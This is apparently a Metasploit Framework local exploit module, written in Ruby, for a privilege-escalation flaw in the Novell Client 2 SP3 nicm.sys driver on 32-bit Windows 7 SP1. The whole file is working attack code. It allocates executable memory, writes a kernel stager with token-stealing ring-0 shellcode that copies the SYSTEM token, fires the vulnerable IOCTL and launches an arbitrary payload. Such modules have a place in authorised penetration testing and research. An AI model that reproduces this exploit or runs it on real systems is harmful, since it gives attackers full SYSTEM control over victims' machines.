##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require
'msf/core'
require
'rex'
require
'msf/core/post/common'
require
'msf/core/post/windows/priv'
class
Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
def
initialize(info={})
super
(update_info(info, {
'Name'
=>
'Novell Client 2 SP3 nicm.sys Local Privilege Escalation'
,
'Description'
=> %q{
This
module
exploits a flaw
in
the nicm.sys driver to execute arbitrary code
in
kernel space. The vulnerability occurs
while
handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The
module
has been tested successfully on Windows
7
SP1
with Novell Client
2
SP3
.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Unknown'
,
# Vulnerability discovery
'juan vazquez'
# MSF module
],
'Arch'
=>
ARCH_X86
,
'Platform'
=>
'win'
,
'SessionTypes'
=> [
'meterpreter'
],
'DefaultOptions'
=>
{
'EXITFUNC'
=>
'thread'
,
},
'Targets'
=>
[
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7
[
'Automatic'
, { } ],
[
'Windows 7 SP1'
,
{
'HaliQuerySystemInfo'
=> 0x16bba,
# Stable over Windows XP SP3 updates
'_KPROCESS'
=>
"\x50"
,
# Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN'
=>
"\xf8"
,
# Offset to TOKEN from the _EPROCESS struct
'_UPID'
=>
"\xb4"
,
# Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS'
=>
"\xb8"
# Offset to ActiveProcessLinks _EPROCESS struct
}
]
],
'Payload'
=>
{
'Space'
=>
4096
,
'DisableNops'
=>
true
},
'References'
=>
[
[
'OSVDB'
,
'93718'
],
[
'URL'
,
'http://www.novell.com/support/kb/doc.php?id=7012497'
],
[
'URL'
,
'http://pastebin.com/GB4iiEwR'
]
],
'DisclosureDate'
=>
'May 22 2013'
,
'DefaultTarget'
=>
0
}))
end
def
add_railgun_functions
session.railgun.add_function(
'ntdll'
,
'NtAllocateVirtualMemory'
,
'DWORD'
,
[
[
"DWORD"
,
"ProcessHandle"
,
"in"
],
[
"PBLOB"
,
"BaseAddress"
,
"inout"
],
[
"PDWORD"
,
"ZeroBits"
,
"in"
],
[
"PBLOB"
,
"RegionSize"
,
"inout"
],
[
"DWORD"
,
"AllocationType"
,
"in"
],
[
"DWORD"
,
"Protect"
,
"in"
]
])
session.railgun.add_function(
'ntdll'
,
'NtDeviceIoControlFile'
,
'DWORD'
,
[
[
"DWORD"
,
"FileHandle"
,
"in"
],
[
"DWORD"
,
"Event"
,
"in"
],
[
"DWORD"
,
"ApcRoutine"
,
"in"
],
[
"DWORD"
,
"ApcContext"
,
"in"
],
[
"PDWORD"
,
"IoStatusBlock"
,
"out"
],
[
"DWORD"
,
"IoControlCode"
,
"in"
],
[
"LPVOID"
,
"InputBuffer"
,
"in"
],
[
"DWORD"
,
"InputBufferLength"
,
"in"
],
[
"LPVOID"
,
"OutputBuffer"
,
"in"
],
[
"DWORD"
,
"OutPutBufferLength"
,
"in"
]
])
session.railgun.add_function(
'ntdll'
,
'NtQueryIntervalProfile'
,
'DWORD'
,
[
[
"DWORD"
,
"ProfileSource"
,
"in"
],
[
"PDWORD"
,
"Interval"
,
"out"
]
])
session.railgun.add_dll(
'psapi'
)
if
not
session.railgun.dlls.keys.include?(
'psapi'
)
session.railgun.add_function(
'psapi'
,
'EnumDeviceDrivers'
,
'BOOL'
,
[
[
"PBLOB"
,
"lpImageBase"
,
"out"
],
[
"DWORD"
,
"cb"
,
"in"
],
[
"PDWORD"
,
"lpcbNeeded"
,
"out"
]
])
session.railgun.add_function(
'psapi'
,
'GetDeviceDriverBaseNameA'
,
'DWORD'
,
[
[
"LPVOID"
,
"ImageBase"
,
"in"
],
[
"PBLOB"
,
"lpBaseName"
,
"out"
],
[
"DWORD"
,
"nSize"
,
"in"
]
])
end
def
open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev,
"GENERIC_READ"
, 0x3,
nil
,
"OPEN_EXISTING"
,
"FILE_ATTRIBUTE_READONLY"
,
0
)
handle = r[
'return'
]
if
handle == invalid_handle_value
return
nil
end
return
handle
end
def
execute_shellcode(shell_addr)
vprint_status(
"Creating the thread to execute the shellcode..."
)
ret = session.railgun.kernel32.CreateThread(
nil
,
0
, shell_addr,
nil
,
"CREATE_SUSPENDED"
,
nil
)
if
ret[
'return'
] <
1
vprint_error(
"Unable to CreateThread"
)
return
nil
end
hthread = ret[
'return'
]
vprint_status(
"Resuming the Thread..."
)
ret = client.railgun.kernel32.ResumeThread(hthread)
if
ret[
'return'
] <
1
vprint_error(
"Unable to ResumeThread"
)
return
nil
end
return
true
end
def
ring0_shellcode(t)
tokenstealing =
"\x52"
# push edx # Save edx on the stack
tokenstealing <<
"\x53"
# push ebx # Save ebx on the stack
tokenstealing <<
"\x33\xc0"
# xor eax, eax # eax = 0
tokenstealing <<
"\x64\x8b\x80\x24\x01\x00\x00"
# mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing <<
"\x8b\x40"
+ t[
'_KPROCESS'
]
# mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing <<
"\x8b\xc8"
# mov ecx, eax
tokenstealing <<
"\x8b\x98"
+ t[
'_TOKEN'
] +
"\x00\x00\x00"
# mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing <<
"\x8b\x80"
+ t[
'_APLINKS'
] +
"\x00\x00\x00"
# mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing <<
"\x81\xe8"
+ t[
'_APLINKS'
] +
"\x00\x00\x00"
# sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing <<
"\x81\xb8"
+ t[
'_UPID'
] +
"\x00\x00\x00\x04\x00\x00\x00"
# cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing <<
"\x75\xe8"
# jne 0000101e ======================
tokenstealing <<
"\x8b\x90"
+ t[
'_TOKEN'
] +
"\x00\x00\x00"
# mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing <<
"\x8b\xc1"
# mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing <<
"\x89\x90"
+ t[
'_TOKEN'
] +
"\x00\x00\x00"
# mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing <<
"\x5b"
# pop ebx # Restores ebx
tokenstealing <<
"\x5a"
# pop edx # Restores edx
tokenstealing <<
"\xc2\x08"
# ret 08h # Away from the kernel!
return
tokenstealing
end
def
allocate_memory(proc, address, length)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-
1
, [ address ].pack(
"V"
),
nil
, [ length ].pack(
"V"
),
"MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN"
,
"PAGE_EXECUTE_READWRITE"
)
if
not
result[
"BaseAddress"
]
or
result[
"BaseAddress"
].empty?
vprint_error(
"Failed to allocate memory"
)
return
nil
end
my_address = result[
"BaseAddress"
].unpack(
"V"
)[
0
]
vprint_good(
"Memory allocated at 0x#{my_address.to_s(16)}"
)
if
not
proc.memory.writable?(my_address)
vprint_error(
"Failed to allocate memory"
)
return
nil
else
vprint_good(
"0x#{my_address.to_s(16)} is now writable"
)
end
return
my_address
end
def
junk(n=
4
)
return
rand_text_alpha(n).unpack(
"V"
).first
end
def
check
handle = open_device(
"\\\\.\\nicm"
)
if
handle.
nil
?
return
Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return
Exploit::CheckCode::Detected
end
def
exploit
vprint_status(
"Adding the railgun stuff..."
)
add_railgun_functions
if
sysinfo[
"Architecture"
] =~ /wow64/i
fail_with(Exploit::Failure::NoTarget,
"Running against WOW64 is not supported"
)
elsif
sysinfo[
"Architecture"
] =~ /x64/
fail_with(Exploit::Failure::NoTarget,
"Running against 64-bit systems is not supported"
)
end
my_target =
nil
if
target.name =~ /Automatic/
print_status(
"Detecting the target system..."
)
os = sysinfo[
"OS"
]
if
os =~ /windows
7
/i
my_target = targets[
1
]
print_status(
"Running against #{my_target.name}"
)
end
else
my_target = target
end
if
my_target.
nil
?
fail_with(Exploit::Failure::NoTarget,
"Remote system not detected as target, select the target manually"
)
end
print_status(
"Checking device..."
)
handle = open_device(
"\\\\.\\nicm"
)
if
handle.
nil
?
fail_with(Exploit::Failure::NoTarget,
"\\\\.\\nicm device not found"
)
else
print_good(
"\\\\.\\nicm found!"
)
end
this_proc = session.sys.process.open
print_status(
"Storing the Kernel stager on memory..."
)
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
if
stager_address.
nil
?
or
stager_address ==
0
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown,
"Failed to allocate memory"
)
end
# eax => &kernel_stager
# .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx
# .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [
stager_address + 0x14,
# stager_address
junk,
junk,
junk,
junk,
stager_address + 0x18,
# stager_address + 0x14
junk,
junk,
junk,
stager_address + 0x28
# stager_address + 0x24
].pack(
"V*"
)
kernel_stager << ring0_shellcode(my_target)
result = this_proc.memory.write(stager_address, kernel_stager)
if
result.
nil
?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown,
"Failed to write contents to memory"
)
else
vprint_good(
"Contents successfully written to 0x#{stager_address.to_s(16)}"
)
end
print_status(
"Triggering the vulnerability to execute the Kernel Handler"
)
magic_ioctl = 0x143B6B
# Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle,
0
,
0
,
0
,
4
, magic_ioctl, stager_address, 0x14,
0
,
0
)
session.railgun.kernel32.CloseHandle(handle)
if
ioctl[
"GetLastError"
] !=
0
print_error(
"Something wrong while triggering the vulnerability, anyway checking privileges..."
)
end
print_status(
"Checking privileges after exploitation..."
)
if
not
is_system?
fail_with(Exploit::Failure::Unknown,
"The exploitation wasn't successful"
)
else
print_good(
"Exploitation successful!"
)
end
print_status(
"Storing the final payload on memory..."
)
shell_address = 0x0c0c0000
shell_address = allocate_memory(this_proc, shell_address, 0x1000)
if
shell_address.
nil
?
fail_with(Exploit::Failure::Unknown,
"Failed to allocate memory"
)
end
result = this_proc.memory.write(shell_address, payload.encoded)
if
result.
nil
?
fail_with(Exploit::Failure::Unknown,
"Failed to write contents to memory"
)
else
print_good(
"Contents successfully written to 0x#{shell_address.to_s(16)}"
)
end
print_status(
"Executing the payload..."
)
result = execute_shellcode(shell_address)
if
result.
nil
?
fail_with(Exploit::Failure::Unknown,
"Error while executing the payload"
)
else
print_good(
"Enjoy!"
)
end
end